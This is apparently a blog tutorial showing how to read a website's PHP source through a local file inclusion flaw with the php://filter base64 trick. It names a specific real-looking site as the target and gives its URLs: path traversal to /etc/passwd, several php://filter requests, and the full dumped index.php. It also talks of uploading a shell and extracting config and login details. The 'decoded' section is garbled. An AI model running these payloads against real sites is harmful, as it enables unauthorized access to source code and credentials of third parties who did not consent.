Read PHP files using LFI (Base 64 Bypass)

Hello,

Ever thought you can read the PHP Files using Local File Inclusion. ? Let me explain, i will show how do i bypassed the LFI Restrictions. In this tutorial i am going to give you a url to show you how this works and how to bypass openbase dir restriction etc. It doesn’t work always, but if you do perfect encoding then it will work.

Example of base 64 encode file out
(php://filter/convert.base64-encode/resource=index.php&top=Home)
Let me show you a POC :
Target URL
——————————————-
http://mistflard.nl/index.php?page=home.php (200)ok
URL THAT TRIGGERED ERROR
——————————
http://mistflard.nl/index.php?page=../../../../../../../../etc/passwd
ERROR
———-

Warning: include() [function.include]: open_basedir restriction ineffect. File(/etc/passwd) is not within the allowed path(s):
(/home/jthkrgfw/:/tmp:/var/tmp:/usr/local/lib/php/) in
/home/jthkrgfw/domains/mistflard.nl/public_html/index.php on line 129
Warning: include(/etc/passwd) [function.include]: failed to open stream:
Operation not permitted in/home/jthkrgfw/domains/mistflard.nl/public_html/index.php on line 129
Warning: include() [function.include]: open_basedir restriction in
effect. File(/etc/passwd) is not within the allowed path(s):
(/home/jthkrgfw/:/tmp:/var/tmp:/usr/local/lib/php/) in/home/jthkrgfw/domains/mistflard.nl/public_html/index.php on line 129

Now, lets see what we can do here.
1) http://mistflard.nl/index.php?page=php://filter/convert.base64-encode/resource=index.php
2) Base 64 Encoded Response
ss_shikari_1
——————————————————
<?php 
require "prepend.php"; 
$login=$_GET['login'];
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta  name = "viewport" content = "width=1024" />
<link href="stijl.css" rel="stylesheet" type="text/css" />
<!--[if IE 6]> <link href="stijl1.css" rel="stylesheet" type="text/css"><![endif]-->
<link rel="shortcut icon" href="/favicon.ico" />
<title>mistflard</title>
<script type="text/javascript" src="md5.js"></script>
<script language="javascript">
function passResponse() {
var user_element = document.login.user_temp.value; // document.hform.user.value 
  //document.hform.pass.value
pass=user_element+document.login.pass_temp.value;
document.login.pass_temp.value = "";
wacht1=MD5(pass).toLowerCase();
pass="";
<?php $para=microtime(1)*1000; ?>
buff=wacht1+<?php echo $para; ?>; 
wacht2=MD5(buff).toLowerCase();
document.hform.user.value=user_element;
document.hform.password.value=wacht2;
document.hform.code.value=<?php echo $para; ?>;
document.hform.submit();
}
</script>
</head>
<body>
<div id="Main">
<div id="Hoofd">
<div id="login">
<?php
if ($_SESSION['user']==null)
{
if ($login==1) echo "<a href='index.php?page=home.php&login=0' title='ga terug'><img src='images/knopy.gif' alt='uit' style='border:0'/></a>"; else echo "<a href='index.php?page=inleidingadmin.php&login=1' ><img src='images/knopx.gif' alt='aan' style='border:0'/></a>";
if ($login!=1)
{
include "controle.php";
echo "<table><tr>";
echo "<td>gebruikersnaam:</td><td>wachtwoord:</td></tr>";
echo "<tr><form action='login.php' method='post'>";
echo "<td><input type='text' name='username' value='' style='width:87px;height:12px;font-size:11px'/></td>";
echo "<td><input type='password' name='password' value='' style='width:87px;height:12px;font-size:11px' /></td>";
echo "<td><input type='hidden' name='code' value=$para ></td>";
echo "<td><input type='submit' name='submitButton' value='login' class='knop1'/></td>";
echo "</form> ";
} else
{
echo '<form name="login">';
echo '<table><tr><td>gebruikersnaam:</td><td>wachtwoord:</td></tr>';
echo "<td><input type='text' name='user_temp' value='' style='width:87px;height:12px;font-size:11px' /></td>";
echo "<td><input type='password' name='pass_temp' value='' style='width:87px;height:12px;font-size:11px' /></td>";
echo '<td><input onClick="passResponse(); return false;" type="submit" name="submitbtn" value="Login veilig"  class="knop2"></td>';
echo '</form>';
echo '<form action="loginveilig.php" METHOD="POST" name="hform">';
echo '<input type="hidden" name="user">';
echo '<input type="hidden" name="password">';
echo '<input type="hidden" name="code">';
echo '</form>';
}
} else
{
echo "<img src='images/knopz.gif' alt='' style='border:0'/></a>";
$user=$_SESSION['user'];
echo "<table><tr><td style='width:220px'>$user is ingelogd.</td></tr>";
echo "<tr><td><form action='loguit.php' method='post'><input type='submit' name='sub2a' value='loguit' class='knop1' title='uitloggen'/>";
echo "</form></td>";   //(<a href="loguit.php">Loguit</a>)
 
}
if (($_SESSION['user']==null) && ($login!=1))
{
echo "<form action='index.php?page=php/forum/meldaan.php' method='post'>";
echo "<td><input type='submit' name='submitButton' value='inschrijven' class='knop2'/>";
echo "</td></form>";
echo "<form action='index.php?page=php/forum/vergeten.php' method='post'>";
echo "<td><input type='submit' name='sub2' value='?' class='knop0' title='wachtwoord vergeten?'/>";
echo "</td></form>";
} else if ($login!=1)
{
echo "<form action='index.php?page=php/forum/schrijfuit.php' method='post'>"; echo"<td style='width:128px'></td>";
echo "<td><input type='submit' name='submitButton' value='uitschrijven' class='knop2'/>";
echo "<input type='hidden' name='usernaam' value=\"$user\">";
echo "</td></form>";
 if ($user=='admin')
 {
 echo "<form action='index.php?page=php/forum/instellingen.php' method='post'>";
 echo "<td><input type='submit' name='substelin' value='In.' class='knop0' title='Instellingen'/>";
 echo "</td></form>";
 }
 
} echo "</tr></table></div>"; // einde login
$vorm1='';$vorm2='';$vorm3='';$vorm4='';$vorm5='';$vorm6='';
if (isset($_GET['page']))
    $page = $_GET['page'];
else $page = "inleiding.php"; 
if ($page=="inleiding.php")   {$vorm1='blok';} else
if ($page=="inleidingadmin.php"){$vorm1='blok';} else
if ($page=="home.php")        {$vorm2='blok';} else
if ($page=="toelichting.php") {$vorm3='blok';} else
if ($page=="forumregels.php") {$vorm4='blok';} else
if (($page=="contact.php") || ($page=="eform.php") || ($page=="mail.php") ) {$vorm5='blok';} else {$vorm2='blok'; }
?>
</div> <!--einde Hoofd-->
<div class="menu">
 <div class="hovermenu">
 <ul>
 <li id="<?php echo $vorm1; ?>"><a href="index.php?page=inleiding.php" title="Inleiding"><span>Inleiding</span></a></li>
 <li id="<?php echo $vorm2; ?>"><a href="index.php?page=home.php" title="Forum"><span>Forum</span></a></li>
 <li id="<?php echo $vorm3; ?>"><a href="index.php?page=toelichting.php" title=""><span>Toelichting</span></a></li>
 <li id="<?php echo $vorm4; ?>"><a href="index.php?page=forumregels.php" title=""><span>Forum regels</span></a></li>
 <li id="<?php echo $vorm5; ?>"><a href="index.php?page=contact.php" title=""><span>Contact</span></a></li>
 </ul>
</div>
</div>
<div class="balk"><!-- voor IE 6 --></div>
<?php
if (isset($_GET['page']))
    $page = $_GET['page'];
else $page = "inleiding.php"; 
?>
<?php
echo"<div id='Content'>";
if (($page=="inleidingadmin.php") && ($_SESSION['user']!=null)) $page="inleiding.php";
include $page; 
echo "</div>"; /*einde content */
?>
<div id="Voet">
<?php
setlocale(LC_TIME,'nl_NL','nl','du');
echo "<div style='margin-left:600px;margin-top:10px;'>".'Pagina geopend: ', strftime("%H:%M:%S %A %d %B %Y", mktime()),'</div>';
?>
</div>
</div> <!--einde main-->

<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try{
var pageTracker = _gat._getTracker("UA-17508057-1");
pageTracker._trackPageview();
} catch(err) {}
</script>

</body>
</html>
—————————————————————————————————
3) DECODED RESPONSE
—————————————————————————————————
ss_shikari_2

function passResponse() {
var user_element = document.login.user_temp.value; // document.hform.user.value
//document.hform.pass.value
pass=user_element+document.login.pass_temp.value;
document.login.pass_temp.value = "";
wacht1=MD5(pass).toLowerCase();
pass="";

buff=wacht1+;
wacht2=MD5(buff).toLowerCase();
document.hform.user.value=user_element;
document.hform.password.value=wacht2;
document.hform.code.value=;
document.hform.submit();
}

controle.php";

echo "
"; echo "";
echo "
"; echo "";
echo " ";
echo " ";
echo " ";
echo " ";
} else
{
echo '';
echo '
';
echo " ";
echo " ";
echo ' ';
echo '';
echo '';
echo '';
echo '';
echo '';
echo '';
}
} else
{
echo "";
$user=$_SESSION['user'];
echo "
";
echo "
";   //(Loguit)}
if (($_SESSION['user']==null) && ($login!=1))
{
echo "";
echo "";
echo "";
echo "";
echo "";
echo "";
} else if ($login!=1)
{
echo ""; echo"
";
echo "";
echo "";
echo "";
if ($user=='admin')
{

$vorm1='';$vorm2='';$vorm3='';$vorm4='';$vorm5='';$vorm6='';
if (isset($_GET['page']))
$page = $_GET['page'];
else $page = "inleiding.php";
if ($page=="inleiding.php")   {$vorm1='blok';} else
if ($page=="inleidingadmin.php"){$vorm1='blok';} else
if ($page=="home.php")        {$vorm2='blok';} else
if ($page=="toelichting.php") {$vorm3='blok';} else
if ($page=="forumregels.php") {$vorm4='blok';} else
if (($page=="contact.php") || ($page=="eform.php") || ($page=="mail.php") ) {$vorm5='blok';} else {$vorm2='blok'; }
?>
echo"

";
if (($page=="inleidingadmin.php") && ($_SESSION['user']!=null)) $page="inleiding.php";
include $page;
echo "
"; /*einde content */
?>

".'Pagina geopend: ', strftime("%H:%M:%S %A %d %B %Y", mktime()),'
';
?>
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));

try{
var pageTracker = _gat._getTracker("UA-17508057-1");
pageTracker._trackPageview();
} catch(err) {}

4.)Now we move on to see if we can root the box or atleast get a shell uploaded now they have open base dir restriction in effect so i highly doubt we can upload a shell via proc/self/environ but we can try it.
5.) So i grab prepend.php and decode its contents as well,using opionated geeks base 64 decoder online and got the following
aaditya3
Response after decode
aaditya4
Writing other response would be too long for the blog. So you can get Base 64 encoded of any PHP page of the website
http://mistflard.nl/index.php?page=php://filter/convert.base64-encode/resource=php/login/versio.inc.php
http://mistflard.nl/index.php?page=php://filter/convert.base64-encode/resource=php/forum/vergeten.php
http://mistflard.nl/index.php?page=php://filter/convert.base64-encode/resource=php/forum/meldaan.php
6.)Now if you can read any of the files, then lets try on config. That wasn’t easy but you can also extract the configuration.php /config.php file too.
———————————
login info
———————————-

and to top it off they block access from outside to the mysql server so what are we to do. So this is how i bypass LFI where direct query is blocked.
Thank you. 🙂

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